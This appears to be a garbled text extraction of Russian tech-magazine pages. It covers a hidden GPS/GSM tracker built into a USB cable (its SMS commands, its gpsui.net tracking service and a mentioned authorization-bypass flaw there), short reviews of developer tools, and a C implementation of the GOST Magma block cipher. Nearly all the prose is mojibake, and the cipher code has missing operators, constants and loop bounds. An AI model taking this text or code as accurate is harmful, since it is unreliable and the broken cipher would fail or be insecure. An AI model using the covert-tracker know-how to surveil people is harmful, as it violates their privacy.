? faa:牜DTMG:�??????�???�???�????�???�??�?????,�????�?燬MS��????�
???�???�????:40�,牜DMTG:�????�??????�?????�??�???�
? ?f:� 獶T:� ???????� ????�???� ?????�???�??� ??� ?????� ?� ????????� ???�??,
????�??�???�????:40�
? 1111:� 獶T:� ???????� ????�???� ?????�???�??� ??� ?????� ?� ????????� ???�??,
????�??�???�????:400�
? 0000:牜DT:�????�???�??�?????�??????�???�???�
? gbrpt:� 玆eport:Location� the� continuous� escalation� has� been� closed粻 (?????�
????,� �??�??�?????�??� ?????�???�??� ???????� ????�??�???粻 ??� ??????�
????�?????�???.��???.�??.)
? track:牜Track:�????�???�?�?�???�?�?????�??�?�???�????�??????�
? hbton:牜Hbt:�?????�???�?????�???�?�??�???�??�??�??�????�
? hbto?:牜Hbt:�??�???�??�??�??�????�?????�???�??�???�
? esionow:�??�
? esioaddr:牜????�?�??�??????�???�?爀sio��??�?!�
? esiolocatetype:牜Esio:???�???�?��??????�???????��??�?????��? server:牜????�?�??�???�?�???�?�??�???��??�?!�
? reg:�??�
? monitor:� 玀onitor:� ?????� ????�?� ??� ????�?� ???�??�?� ??� ????�???�??�??
?????�
? eee:牜????�?�??�??�??�?�??�?燭F,�???�????�????�?�??�??�???�???�
??!�
? sndstop:牜Cam:???�??????�??�????,�???�?�???�?!�
? e81:�??�
? e80:�??�
? soson,爏oso?,爏os,爍csos:�
? ledon,爈edo?:�
? ?ighton,�ighto?:�
? aqe:牜????�?�??�??????燼pn!�
? imeiset:�??�????�?,�?�???�??�???�?營MEI
? restore:牜???�??�??�????�???�?�??????!�
? formattf:�
? time:�??�
? timezone:牜???????�???�???�??�??�??�???.�??????�???�? age:�??�
? 3646655:�??�?????�?�??????�??��??�??
? reboot:�??????�???�?�?????�???
??�????�?,� ???� ????????� ?????� ???� ??� ???�?� ?� ????�???�??.� ???� ???�??,� ???
???�??�??�?.
????�?� ???�???� ????� ???,� ???� ?� ???�??� ???�??�??� ????�??� ?????�?,
???????��??�??��???�?�???��??�?�????�?.
??�???,� ?� ???????� esioaddr� ??� ?????� ??????� ?????,� ??????�?????
???�??�???�????�?????�??�??????�??��????�????.�???�?�??�?��???�
???????� ??????� ???� ???�????,� ??????�?� ?????�????� ?� ???�??�??� IP� ??� ????�
??????�?.�?????�???�?�???�??� the燼ddr爄nvalid� ?� ????�?� ?� ???�??????�
?????.
??�??�?爏erver�??�???�?�??�??�??�??.�??�??�?�?�??�????��???�?
the燼ddr爄nvalid,�??�??�?�?�????�???.
???�????�???�???�???�??��?????�????�?�??�?
???�???�?� ?????� ??� ????�?????� GPRS� ???�???�???,� ???� ????�???� ????�?
???�???� ??????�????,� ???????� ???�??�????�?� ???� ???�????,� ???�?� ?????�?
??????�??�??�?燬8燿ata爈ine爈ocator.
???�??�?,�??�?�???�?�?燬MS�??�???�?�???�?.�?�????�?�???�???�
???�??�????�??�???��??????�?.
??�??�?燿w�爈oc,��??�?�??�??�??�???�??
??� ???�?� ???�????,� ???�??�??� ?� ???�?????�???�?,� ??????�???� ??????�???
???�??� 玀MS/????????�.� ??� ?????�???� ????� ???�????� ???�???,� ?� ???????
???�???�??�???�?�??�???�???�??�???,��????�?????�???�???�???��???�
??????�????.
??� ????� ??� ???�?� ????�??� ??????� ????�?� ??????�???� ???�??� 玀MS/
????????�.
??�?�??�????�?�?,�??��????�??�??�??�???�??�??�?,�??????��??
???�??�?�???�???�???�?�??�?�??�?????�??,��?�???�?�0%�????????�
??,� ???� ???� ??� ??????� ????�???�??�??� ????,� ????� ?????,� ???� ???�????� ???�?
gpsui.net.�??�?�????�?????�???�?�???,��???�???�??�??牜????粻???�??,
????????�?�????,�??�?�??�??�?????�???��??�??�??�???.
gpsui.net
??�?� ????????�?� ??� gpsui.net� ???�????,� ??� ???�?,� ?????�??,� ????????
???�???�?????.�??�???????�??�???????�??�????:�???�?�??????爔xxx
?� ????�?� http://gpsui.net/u/xxxx� ??� ????????????� ???�?� ?� ???�?,� ?� ????�
????�??�?????�????�??�??�??�????.
???�?� ??� ???�?� ?????�???�?� ???�???�??� ZhiPu.� ??????,� ???� ???�????,
???????�???�?�??�??�???.
??�?????�??�??�???�??�?????�??�?,�????�??�??�??�??�???�????� aqb
??燬8燿ata爈ine爉onitor.�??�???�?????�?��?????��??�??�?????�??�???�
??.�??,�???�?,�?????�???�?�??????????�??�?�????營MSI.
?????????????�??�???�?�???????�??�??��??�???�??�????.��?�???
?????�???????,�??�??�????�???????,��??�??�???�????�?,���?�?�???�
???????.
??�??????
???�??�??�????�??�??�????????�??�?�??�?�?????.
??????????? ??????
?
? �?????�?????
?????
?????????
?????????? ???????
???�??????�?????�??�?????,
???????????????�??�?????燯SB
?�???�????�????�??�?�?�??�?,�??�?�?????�???�??�?????�????.�??
????�???�?�?�??�?�?????�??�???�?????�?�?????��???????��????�
??????�?燝PS��????�??�????�?�????�?.
???�???�?
???�?�?????�?????�??�??�???�?.
???�???�??
???�?�??�??�??�??�???�??.
??�????�????�????�???�??�??�?????�????
???�?�???�???�??�????�??�??�???.
??�????
??�????�?,�??�????????????�??�???�?�??�?????�??�??�???�??�??????�
?????.
?�?????�??��??�??�????�??�???�??,�?????�??��???????�??�燬8燿ata
line� locator� ??� ???�???�?� ??� ???�????� ????�??� ??????,� ??� ???�??� ??????�???
??.��????�?,��?�??�??,�??�???�??�??�????�????�?????�??�???�?.
???�???
???�?� ???�?????� ??????�???� ?� ???�???�??� ?� ??????�????� ????�????�??
????�????.
?????????�?
???�??�??�???�?�?????�???�????�?�?????�???.
???� ????�???,� ???� ?????,� ???� ???�?� ???�??� ?� ????�??� ??????� ??� gpsui.net,
?????� ?????????� ???�?� ??????�????.� ??� ???�??�?,� ??� ????????�??� ??????�?
????�?�?�???�???��????�??�????�??�?�??�?.
??�????�??�?????�???�?
??�?????�??�???�???�??�?�?????�??��???�???�??�??�????�???�???
???????�??.
???�????�?
???�?�??�??????�???�?????� @evstykas�????�??�???�?�??�????�??�???
�?????�??�??� ???�??� ????�?� ??� ???�???� ?� ???�????� ????�???�??粻 (Inse?
cure� Direct� Object� References� with� Authorization� bypass),� ???????� ?????
?�??????�???�??�???�????�??�???�??:�???�???????�????�???�????�???
?�?????�??????�??�???�5�7�??�??�???�?????�??爂psui.net.
???�??�??�???�???�??�????�????�??�??爂psui.net�??�?????�??�???:
??????�???�???�???�??�??��??�??�???.
??�??� ??� ???�???� ???�???�?� ???�??� ???????�????� ???� ?????�???�??
?????�????.� ??,� ???� ???� ???�???� ???�?,� ??????�?� ??????�??� ???�????,
??�???�?�?????�??�?????�????:�0.li/trackmageddon/.
?� ??� ????� ???�??�????,� ???� ????�??� ????�???????� (???�???�?� ???� ??????�
???)�????�?�??????�???�?��??�????�???�??�?????�?�??�?.
???�?� ???� ??� ???� ??� ???????�???� ?� ?� ???,� ???� ???� ???�???� ??????�???
?�??�??�?.�??��??,�??�??�?????�????�??�?�????????��??�?�??�?.
???�?????�??�?
??�??�?�?????�?�??�??燬8燿ata爈ine爈ocator�??�?�???�?????�??�?????
??????�???�????�??�?�???�??�???�?燙C308+.
??�???,�?????,�??�?�???�???�??,��??�??�??????�????�??� dw�??????
?????�??�???�??�??�?????�??.�?���????�?????�???�?????�???�??�?
????�??�??.
???????????�?????
???�????� ??� ??� ???� ???� (????� ???)� ??� ???�???� ???�??????� ???�?� ????????
????��????�???�??�???牜?????�?粻??�???,�??�??�????�??�???.��????�
???,�?�??�???�??�????�??�??�??�??????�????�???�??.
????�???
???� ????� ???� ??� ???�???� ???�???� ????�???�??� ???�??�?� ???� ??????
?ashrom,� ???�???�?� ?� (????� ???)� ??� ????� ?????� ??????� ??� ??????.� ???�????,
???�??� ???�????� ?� ???�???�??� ?????� ?????� ???�???� SPFlash� ?/???� Flash.
????� ???� ?� ??� ????�??�???� ???????.� ??�?� ????� ???�???� ???�???� S8
data爈ine爈ocator,�??�?????�?�?????�??�?�???�?�??�?�??-�
??????�???!
??�??� ?� ???????�?� ????????� ???�??,� ??????�?????� ??� GPRS,� ??� ???
???�?�??�???.�?????�???�???�?�?�?????�?????燝PRS,�??�?��??�??�??
???� ?� ???�?� ????.� ?� ??� ????,� ???� ????�?????�????� APN.� ?????�???�??
???????�?� ??� ????� ???????�??� ?� ???�???� ?� EF(ACL).� ???� ??� ?????� ????�
??????�??� APN� ???�???� ???�?� ??� ???????????� ??????�???� ?� ???� ???????
?�??,�??�??�?????�?�?�?�??�?????燬MS,�???�?????�??�???�??.
????
???�?�??�?�???�???,�??�??�??�?????燯SB�???�?�??�????�?.燬8燿ata爈ine
locator� ????�????�?� ?� �?????�???粻 ???�?,� ???????� ???�?� ????�?????� ????
????�?,�??�???�???????�???��????�????�?????���.
??????????:�????
??�?� ??� ???� ???�????� ??????!� ??� ???�?� ??????�??????� S8� data� line� locator
???�??�??� ?� OpenBTS� ?� ???�????� ????�???�???� ???????.� ???�?� ???�?
???????�?��????�??�?????�???????�????,�???�???�???�??????.
?�????,�???????�????��??????�33333�??�??�???�??�?????.
???�?????,� ???� ???� ????????� �??�?????粻 ?????,� ???� ???� ???�??� ?????
??????�??.�?�??�??�?,�??��?????�?�??????,�???�?�??�?????�???.
???� ???� ???� ???�??????� ?� ???�?????� ???�???�??� ??????�??:� ???
???????�?��?�???�???�?!
WWW
???�??,�????�??�?????�??�?????
?@dmxinajeansuit� ????� ??????�?� ???� ??�??�??
???�????
?????
??????�?????????
????????????
apismenny@gmail.com
1
ASCIICASTS��??????�??�?????�?????????
???????????��????????????燗SCII-????
??� ?????�???� ?????� ??� ????� ?????�???,� ???� ?????� ??????� ???�?
?�?????�?�?????�?��??�?????.�?�????�???,�??�???�??�???
??????�?� ?????�???� ???�??� ?????�??� ?????� ?� ???�?� ????�?� ???
???�?????.� ??� ???,� ????� ?� ?????� ???�???� ??????�???� ??� ?????,
?�????�???�???�?�?????????�??�??????��???????�????�????�
??,��??�?????�??�?!
????�?� ???� ?� ????�?� ???�???� asciicasts,� ???????� ??????�?� ?� Linux
?� Unix� ?????�???� BSD,� ?� ???� ???�?� macOS.� ???� ??� ????�??�?
??????� ???�???� ????�??� ????� ??????�????,� ???�???� ???�??�??
Docker� ???� ???�???� ??� ????????� ?????� (???� ????�???�??�???
?????�?� ??� ???�???� ??� ????�?).� ?� ???�????� ?????� ?????�???
?????�??�??????燽rew.
??�?????�?� ?� ???�????� ???�???�?� ????�?:� ??????� asciinema�
rec,� ?� ???� ??????�?� ??????�???� ???,� ???� ???�???�??� ?� ???�???.
???� ????�??�?� ??????� ???�????�?� ??????� Ctrl?d.� ????�????� ?????�
???,� ???�?????� ????� ??????�?� ???� ???�?????� ??� asciinema.org.� ????�
???�??????� ??????� ???�?� ?????�??� asciinema� play.� ???�?????
???�?�??�?????�??�???,�??��???�?�?�???.
??燼sciinema.org��??�???燛xplore�??�??�?�????�?????�?�??�??
??????�???:�??�?,�??�???�??�???�???燦etHack��??�??.�?�?
?????�???,�??�牜????�??�??粻????��????�???�????�??�???�??:
???�????,�???�?�???????�??�???�?????�??�?�????�???��???
?�??�?????�????�????�??�??????�??�????�??�??�??????�???�
??.
2
LOBE��?????,�??????�??????�??????
????????�???????�????????�??????
???�????�??,�?????��?????�?�??�??????�??�??�???�?�?????�
????� ???�????� ?� ??????� ????�?� ??????�??.� ??� ???�?� ??????
????????,� ???�?� ???�???� ???�??????� ?� ????� ????�????� ??� ???�??
???�??� ?� ???�??� ???�?????� ?� ???�???�?.� ???�????,� ???� ???�?
???� ???????� ???�??� ???????� ?????� ???�?� ???�?� ???�?� ?????� ?????�
????.
??� ??� ???�?� ?????� ?� ???�????,� ???????� ????�?� ???�?� ??� ?????
?� ???�???????,� ??� Lobe� ?� ???� ???�??,� ???�??�??� ????,� ???�?� ????�
????� ?????�????.� ???�??� ?� ????� ????� ???� ????� ????�?� ?� ??????�??,
?� ???�?� ???????� ???�?� ????????�?� ???????,� ????�??� ????� email
??�??�?.
??�???� ???�?� ???� ???�????� ?� ????????� ?????� ???�????�???
??????�???�??�???�?�??�????�???,�?�??�??�????燣obe.
????�??�??????�?????�?�??�??��??????�??�??�?�??�??�???
???�?????,� ???�??�??,� ?� ???�???,� ???�????�???� ????,� ???????
???????� ?????� ??????�???� ??� ????� (???� ??� ?????,� ???�???�???
?�?????),�??�??�?????�??�??�???�?�??�???�?�??�?,�??�???
????�?????�???�??�?????�????�??�??�?�????�????.
???�???�??�????�??�??�????�?�???�??牜????�?????
??????粻????�???�?�???�????
????�?????�???,� ???� ?????�??� API� ???�????� ?????�???�???� Lobe
?� ????�???�??� ???�????.� ???�????� ?????�??� ???�????� ?????� ????
?????�?� ??� ????�?� ?� ????�????,� ???�?????� ???�????�???� ???�???
???� ???�?????�???� ????�??????,� ??� ?� ?� ?????�?� ?????� ???�??�??
???�???:� ???�????,� ???�?� ???�?� ????�??�???� ????�????� ????????
???�??.
???�????�???燣obe�?????�?�??�?�????�??��???�????�???
???�????,� ????�???� ???�??� ???�??�???� ??????????� ??????�???,
???� ?� ??� ???�??�????�??,� ???????� ?????�??� ??????� ?� ???�?????
????�??�????� ????� ???�??� ?????�?� ?????????� ?????.� ??????,� ????�
??????� ?� ???�?????�??�??� ?� Lobe,� ???�?� ?????� ??????�???????
?�??�????燭ensorFlow�??燙oreML.
3
CARBON��?????�??�???????�????????
??????????�???
?�?????�??�???�????�??�???,�??�?�??????�???????,��?????
???�?????.� ?� ?????�??�?� ???�????� ???�?� ???�?� ?????�?� ???�????�
????� ??� ??,� ???� ?� ????� ???�??�?� ?????�??� ?� ?????� ?????� ???�?
???�???�????�???�??.�????�?�??�?�?�?????�?�??�??�?????
???�??�?� ???�??� ???�????,� ???????� ??� ?????� ????????� ?� ????
??????�??�???.
????�???�??� ???�??� ???� ???�???�?� Carbon� ????�?� ????�?� ???:
????�???�???�?,�???�??�?�???�???�??,�??�???�??�??�???�?
?� ???�?????� ???�????� ????� ??� ????� (???� ???�?� ?????�???� ?� Twitter).
????�?� ???�??�????�?� ???�??�??� ???�??� ?????:� ?????,� ?????
???????�?�???��??�????.
?� ???????� ????�?� ???�???� ???�???�?� ???�?????� ???�?� ???�?????�
??????� ???�??,� ???�???� ???�??� ???� ??????�??� ??????�??� ?� ??????�
??????� ???� ????�??� ???????�??� ???�??�?.� ??�?????� ????� Carbon
???�????� ??� GitHub,� ???� ???� ???� ???????� ??� ??????� ????� ????�
????????�????�??�??��???�???.
??????
???????
�????�
???????�???????
??????????�????�??????
Malware
???�???????
?????????????�???????
????????�?????????
?� ????�??� ???�?� ?????� �????�????� ?� ???????�???�????�
??粻(???�?�??�???,�???�??�?????�?�??�??�??�???�???�
?????�???,� ?� ??� ???� ????,� ???�?� ?????� ???�?� ???�???????
???� ??????� �??�??�????�.� ?)� ?� ????.� ???.)� ??� ???�????
???�?????�???� ?� ????�??�??� ???�??????� �??�????�,
???????� ????�????� ?� ????� 34.12?2015.� ??????� ???�?
????�??�?,��??�?�??�??�??�???,��??�??�??�????�?
???�?���???,�??????�????�??�????牜???�?�.
INFO
???�???�??� ??????� ???�?:� ???� �??�????�,� ???
�???�??�.
????� ????�???� ????�???�???� ?????� ???�??� ?????� ????�??�?� ????�???� ????�
???????� ??� ???�???� ????� 28147?89,� ??� ?????� ?????�???�?.� ?� ?????
????�.12?2015�???�???�?��?????�??�???�????�??????�??�???????�
????� ????�????�?� ???�???�???�??,� ???????� ?� ???�??� ????� 28147?
89� ??????�??�???,� ?� ???????� ??� ???�??�??� ???�?????� ????�?????� ?� ????
?????,� ?????�?????� ???�??� ????�???.� ?????�????�?,� ????� ????�?????� ????�
???�?� ???�???� ?????�??????� ?????�??????�?� ?� ???�?????� ???�???� ?� ???�?,
???�??�????�???????�???�????�???�??�?�??�??????�(??�???�??�?�???�
?????�?� ???�???�???�?� ???�?� ???�?),� ????�?,� ???� ?????,� ???�????�???
????� 34.12?2015� ??????� ??????� ?????�??????�??�?� ????�?????�??� ?????�
?????.
???� ???� ????� ???�???,� ???�?� ???�????�?� ???�?� ?� ????�??�?� �??�?粻 ?
64�???.�??�?�??�?�??�??????��6�??.
WARNING
???� ???�??� ???�?� ????,� ???� ??� ????� 8????�????
???�????�??�????�??�?????�???�??�??�??????
????� ???????�?� ?� ???�?� ???�???,� ?� ????�??,
????�???�???�?,� ?� ??????� (????� ??� ???�?????�?
?????� ??????� ???� �???�??粻 ?� �??�????�,� ??� ???
???�??�????� ?????� ????�?????�?????� ????� ????�
???�???�??�???).
???????�?????
?� ???�???�???� ????�??�?� ????,� ???�??????� ?????�?????�??� (?????�?,
???� ???�?� 64� ????),� ???�???�???� ??� ???� ???�??� ??� ???�?� (32� ????)� ???�?� ?
???�??��????.�????�????�???�?�???�???�??�??�????��?????�??????�
??�??�???�????�??�??,�?????�???�?�??????�?�6????�???�??�?�???�
???????.
???�?�?????�???�??�?�??�????�?????�??
??� ???�?� ???�??� ???�????� (??� ?????�???�?� ????�???� ???�??)� ?� ???�??
?� ?????� ??????�??� ?????�?????�??�?� ???�?� ???�???�??�?� ????� ???�????�
????�??,�???�??�??�?�???�??�??�?.�??�???�??�??�????�???�???�???
??�?????���??????�??�???�????�??�??,�????�??????�??�????�??
???�?� ?????�?� ??� ??????� 4????�??� ?� ???�??� ??� ???� ?� ??????�?????�?� ????�
????� ?????�????�?� ???�???�???�?� ?� ???�??� 4????�??� ???�?� (????� ???�???,
??� ?� ???�???�??� ????� ?????�?� ???� ??????�???� ???????�??� ????�?????� ????�
????�???�???).� ???�?� ???�?� ???�???�???�??� ???????�??� ???�?� ???�????�?
????�???�?� ???�?� ??� ????�??????� ???�????.� ?????� ??????�??� ???�??�?
?� ?????� ??????�??� ???�?.� ???????�????� 32????�??� ???�?� ??????�???�?
?�??�??�?????�?�??�?,��??�??�????�????�??�??�?????�?�?????�???�
??��????�?????�?�??�?.
???�?�????�??�????
?�???�??�?????�(????�???�??�??)�??�????�??�?,�??�??�???�???,�???�
????�???�?� ???�??� ??????�?,� ???�?� ????� ???????�??� ??????�??� ?????�?
?�????�????�??????�?�??�?,��??�??�?????�?�??�???�?�???�??�????.
???�???�????� ???�?� ??????�???� ??� ???????�?� 256????�???� ???�?.
????????�???�????�?�?�?????�????�??�??�??�??,��????�??�??????�
????�?� ?� ???�?????� ?????�?:� ???� ????� ?� ???�???� ??� ????�??� ?� ????� ???
?�???�???�?�??�??.
???�?�?????�??�??�???�????�??�??
???�??�????�???�??�?????�???�?�????�?�??�?????�???�????�??�????,
???� ?� ???� ?????�?????�??,� ??� ???????� ???�???�??� ???�??� ????�???�?
??�???????.
???�?�?????�???�??�?�??�??�????�???�??
????,�??�?�???�???��?????�???�??�??????��?????�?????�?�?????...
???????�??????�????????
???�???�?� ?� ????�??�?� ??????�???�?� 32????�??� ???�?� (?� ????� ???� ???????�
????�??�????�??�????),�??�?????�???�????�???�????�???:
//�?????�????�????�(???��???)
#define燘LOCK_SIZE�...
//�?????????�??爒ect�??�????????�?????
typedef爑int8_t爒ect[BLOCK_SIZE];
???�????�???�??�????�??�????�?�?????�???�??� ????� ???�???� ???�???� ???�??�?� ?� ????�???�??�???� ???�??� ???�???
???�???,��?????�??�????�?��??�??�(?????�??)�??�??:
static爒oid燝OST_Magma_Add(const爑int8_t�*a,燾onst爑int8_t�*b,�
uint8_t�*c)
{
爄nt爄;
爁or�(i��爄�燘LOCK_SIZE;爄++)
牋燾[i]�燼[i]^b[i];
}
???�????�???�??�????�??�????�?�?????�
???�??� ???�???� ???�????�?� ???�???� ???� ???�???�?� �??�????� ?� ????�?
???????�?�?????��??�???爊粻??�???�??�?牜????�??�,�?�????�???�?
????,�??爊��????�??�??�????�??�?�,��?�2,�??��???�????牜?????�
???�.� ???� ????????� 4????�????� ???�???� ????�???�???�?� ???� ???� 32????�??
???�?,�????�??�???�???�???,�??????�????,�???�??�???�???�?,�?????�
????�???:
static爒oid燝OST_Magma_Add_32(const爑int8_t�*a,燾onst爑int8_t�*b,�
uint8_t�*c)
{
爄nt爄;
爑nsigned爄nt爄nternal��
爁or�(i��爄�=�爄??)
爗
牋爄nternal�燼[i]�+燽[i]�+�(internal�>�;
牋燾[i]�爄nternal�&�ff;
爙
}
??�????�??�???�?????�??�???�???�??�(???�???�???�??燭)
?� ????�??� ??� ????�??�??� �???�??粻 ?� �??�????粻 (????�?,� ???� ???� ???�????�
????�??� ??????�???� S????�???�???�???)� ???�???� ?????�??????� ?????
??????�???�?�??�??:
static爑nsigned燾har燩i[8][16]=
{
爗1,7,14,13,0,5,8,3,4,15,10,6,9,12,11,2},
爗8,14,2,5,6,9,1,12,15,4,11,0,13,10,3,7},
爗5,13,15,6,9,2,12,10,11,7,8,1,4,3,14,0},
爗7,15,5,10,8,1,6,13,0,9,3,14,11,4,2,12},
爗12,8,2,1,13,4,15,6,7,0,10,5,3,14,9,11},
爗11,3,5,8,2,15,10,13,14,1,7,4,12,9,6,0},
爗6,8,2,3,9,10,5,12,1,14,4,7,11,13,0,15},
爗12,4,6,2,10,5,11,9,14,8,13,7,0,3,15,1}
};
???�???�?��??�??�???�????�(??�?????�??�??�????)�??????�???�????�?
?�??�?,��??�?????��?????,�?�??�??�??�???�?????�???�????�???�?
???�???�???�?????�?????�???��???????�????�?,��?�??,�??�???�???
?�???�????.
???�????�??�???�??�???�???�??燭�?????�???�????:
static爒oid燝OST_Magma_T(const爑int8_t�*in_data,爑int8_t�*out_data)
{
爑int8_t爁irst_part_byte,爏ec_part_byte;
爄nt爄;
爁or�(i��爄��爄++)
爗
牋�//�????????�?????�??????�????�????
牋爁irst_part_byte��(in_data[i]�&�f0)�>�
牋�//�????????�?????�??????�????�????
牋爏ec_part_byte��(in_data[i]�&�0f);
牋�//�????????�?????��???????????��???????�??????????
牋爁irst_part_byte�燩i[i�*�[first_part_byte];
牋爏ec_part_byte�燩i[i�*��[sec_part_byte];
牋�//牜?????????粻???�??????�????�??????��???
牋爋ut_data[i]��(first_part_byte�<�爘爏ec_part_byte;
爙
}
?????????????�?????
?�?????�?�??�?????�?,�??�??�????�?????�??��??�????�???�??�??
???�?� ????�???� ???� ???�???�????� 32????�??� ???�?,� ???????� ??????�???
??�??????�?�6????�???.
???� ??????� ????�????� ???�?,� ???� ?????� ???�???�?� ???????�??� ???�????
???�??:
vect爄ter_key[32];�//�???????????�????�?????????
???�?�???�??�?�?????�?�????�???�???�??�??�????�???�?�??�??:
void燝OST_Magma_Expand_Key(const爑int8_t�*key)
{
�//�????????�?????�???????�????????��??????�?????????��
???????�?�??????
爉emcpy(iter_key[0],爇ey,�;
爉emcpy(iter_key[1],爇ey�+��;
爉emcpy(iter_key[2],爇ey�+��;
爉emcpy(iter_key[3],爇ey�+�,�;
爉emcpy(iter_key[4],爇ey�+�,�;
爉emcpy(iter_key[5],爇ey�+�,�;
爉emcpy(iter_key[6],爇ey�+�,�;
爉emcpy(iter_key[7],爇ey�+�,�;
�...
�//�????????�?????????�??????�???�??�??�???
�...
�//�????????�?????�???????�????????��??????�?????????��
????????�?�?????
爉emcpy(iter_key[24],爇ey�+�,�;
爉emcpy(iter_key[25],爇ey�+�,�;
爉emcpy(iter_key[26],爇ey�+�,�;
爉emcpy(iter_key[27],爇ey�+�,�;
爉emcpy(iter_key[28],爇ey�+�,�;
爉emcpy(iter_key[29],爇ey�+��;
爉emcpy(iter_key[30],爇ey�+��;
爉emcpy(iter_key[31],爇ey,�;
}
??�???�??�?????燝OST_Magma_Expand_Key��??�??�?�??�???,�??�
?????�???��???�????
???� ???,� ?????�?,� ???�?� ????????� ?� ??????�?????�?� ???�??,� ??� ?� ???�??
???�??� ???� ???�???� ?????�???�?,� ???� ???�???,� �� ???粻 ???� ???�?????�?,� ??� ?
????????�??��????�???�????�????�?�??�??�??�???.
???�???�???�??爂
???� ???�???�???�??� ????�???� ?� ????� ???�????� ???�??� ???�?� ???�?� ?� ????�
????�????� ???�??� ??� ??????� 32,� ???????�??� ????�?????� ???�???�???�??
?�????�??�?�?�???�??????�??�????:
static爒oid燝OST_Magma_g(const爑int8_t�*k,燾onst爑int8_t�*a,爑int8_t�
*out_data)
{
爑int8_t爄nternal[4];
爑int32_t爋ut_data_32;
�//�?????????�?�?????��?????�???????�????��???????????�
??????
燝OST_Magma_Add_32(a,爇,爄nternal);
�//�?????????�?????????�?????????�?????????????�?????????
燝OST_Magma_T(internal,爄nternal);
�//�??????????????�?????????????�?????��???�???????�????
爋ut_data_32�爄nternal[0];
爋ut_data_32��(out_data_32�<��+爄nternal[1];
爋ut_data_32��(out_data_32�<��+爄nternal[2];
爋ut_data_32��(out_data_32�<��+爄nternal[3];
�//�?????????�???????�??�????�?��???????
爋ut_data_32��(out_data_32�<�)|(out_data_32�>�);
�//�??????????????�???????�????????�?????�??????��????????�
??????
爋ut_data[3]�爋ut_data_32;
爋ut_data[2]�爋ut_data_32�>�
爋ut_data[1]�爋ut_data_32�>�;
爋ut_data[0]�爋ut_data_32�>�;
}
???�???�???�??燝
???� ???�???�???�??� ????�???�???� ?????� ????� ???�????� ???�?� ??????�
??????�??� ???� ???�????�???�??� (?� ???�??� ??� ????�???� ???�??).� ????�???
?�???�??�???�???�??爂,�??�????�?�?????�?????�???�??�???�???�??
g� ?� ???�??� ??????�??� ???�?� ?� ?????� ?????�????� ???�?� ???�??� ?� ?????
??????�??�?:
static爒oid燝OST_Magma_G(const爑int8_t�*k,燾onst爑int8_t�*a,爑int8_t�
*out_data)
{
爑int8_t燼_0[4];�//�?????�???????�????
爑int8_t燼_1[4];�//�????�???????�????
爑int8_t燝[4];
爄nt爄;
�//�????�???????�???????�???�?�??�????
爁or(i��爄��爄++)
爗
牋燼_0[i]�燼[4�+爄];
牋燼_1[i]�燼[i];
爙
�//�?????????�?????????????爂
燝OST_Magma_g(k,燼_0,燝);
�//�?????�????????�?????????????爂��????�????????�????
燝OST_Magma_Add(a_1,燝,燝);
爁or(i��爄��爄++)
爗
牋�//�????��????�???????�???????�?�?????
牋燼_1[i]�燼_0[i];
牋�//�????�????????燝OST_Magma_Add��?????�???????�????
牋燼_0[i]�燝[i];
爙
�//�?????�?????��????�????�????��???�????
爁or(i��爄��爄++)
爗
牋爋ut_data[i]�燼_1[i];
牋爋ut_data[4�+爄]�燼_0[i];
爙
}
??�???�??�??�???�???�??燝
???� ???�?????� (????�???� ???�??)� ???�????� ???�?� ?????�?????�??� ???� ????�
?????�???�??.� ??� ????�???� ???�???�???�??� G� ????�???�?� ??????�??�?
????�?�??�???�??�??�?�??�??��????�?????�??????�?�??�?:
static爒oid燝OST_Magma_G_Fin(const爑int8_t�*k,燾onst爑int8_t�*a,�
uint8_t�*out_data)
{
爑int8_t燼_0[4];�//�?????�???????�????
爑int8_t燼_1[4];�//�????�???????�????
爑int8_t燝[4];
爄nt爄;
�//�????�???????�???????�???�?�??�????
爁or(i��爄��爄++)
爗
牋燼_0[i]�燼[4�+爄];
牋燼_1[i]�燼[i];
爙
�//�?????????�?????????????爂
燝OST_Magma_g(k,燼_0,燝);
�//�?????�????????�?????????????爂��????�????????�????
燝OST_Magma_Add(a_1,燝,燝);
�//�????�????????燝OST_Magma_Add��????�???????�????
爁or(i��爄��爄++)
牋燼_1[i]�燝[i];
�//�?????�?????��????�????�????��???�????
爁or(i��爄��爄++)
爗
牋爋ut_data[i]�燼_1[i];
牋爋ut_data[4�+爄]�燼_0[i];
爙
}
?????????????
???� ??� ???� ??????�?,� ???�??????� ???�???�??�?� ?????� ????�???� ????� ????�
?????,� ?� ???�??� ??� ????�???� ???�??� ?� ???�???�???� ???�???�???�??� G
?�???�???�??�??��??�???�???�?????�???�??�???�???�??燝:
void燝OST_Magma_Encript(const爑int8_t�*blk,爑int8_t�*out_blk)
{
爄nt爄;
�//�?????�?????????????燝
燝OST_Magma_G(iter_key[0],燽lk,爋ut_blk);
�//�??????????�(??�??????�?�???????�?????)�?????????????燝
爁or(i��爄��;爄++)
牋燝OST_Magma_G(iter_key[i],爋ut_blk,爋ut_blk);
�//�????????�(????????�?????)�?????????????燝
燝OST_Magma_G_Fin(iter_key[31],爋ut_blk,爋ut_blk);
}
??�??� ?????�??� ???�??� ???�???� ??� ??????� ???�???� GOST_Magma_Expand?
Key,� ???�?� ?????�???� ???�??� ?� ???�???�???�?� ???�???� ???�???� ???�????�
???.
??????????????
???�????�???�??� ?????�???�?� ???�????�?� ?????�?????�??� ?� ???????�
??????�?�??�???�????�??�??��???????�????�?:
void燝OST_Magma_Decript(const爑int8_t�*blk,爑int8_t�*out_blk)
{
爄nt爄;
�//�?????�?????????????燝��?????????????
�//�???????�??????�????????????�????
燝OST_Magma_G(iter_key[31],燽lk,爋ut_blk);
�//�??????????�(??�??????�?�???????�?????)�?????????????燝
�//�(????????????�????�???��???????�??????)
爁or(i��;爄��爄??)
牋燝OST_Magma_G(iter_key[i],爋ut_blk,爋ut_blk);
�//�????????�(????????�?????)�?????????????燝
�//��?????????????�??????�????????????�????
燝OST_Magma_G_Fin(iter_key[0],爋ut_blk,爋ut_blk);
}
?????�??�?�?�??�?�???????�??燝OST_Magma_ExpandKey,�??�??�??�???�
?????�???�??� ??????�???�?� ??� ??� ???�???�????� ???�?,� ???� ?� ???� ??????�
??????�??.
??????????
??�?????� �??�?粻 ??� ????� 34.12?2015� ?????�?� ???�?� ?????�???�?
??�???�????��???�??�??牜???�????粻??�???�?�??�?,�??�???�?�?????�
??????� ????� ??� ?????�?� ????� ??????�???�?� (?� ???� ???�?� ?� ?� ????�???
????� 28147?89� ?� ???�?????� ??????,� ????�???�??�?� ???�????�?????
?????�??????�?�??�???????�??�??�?????�??�??�??????�??燫FC�57).
??�???� ??� ??????� ???�?????� ???� 128????�?????� ???�?� (????�??�??
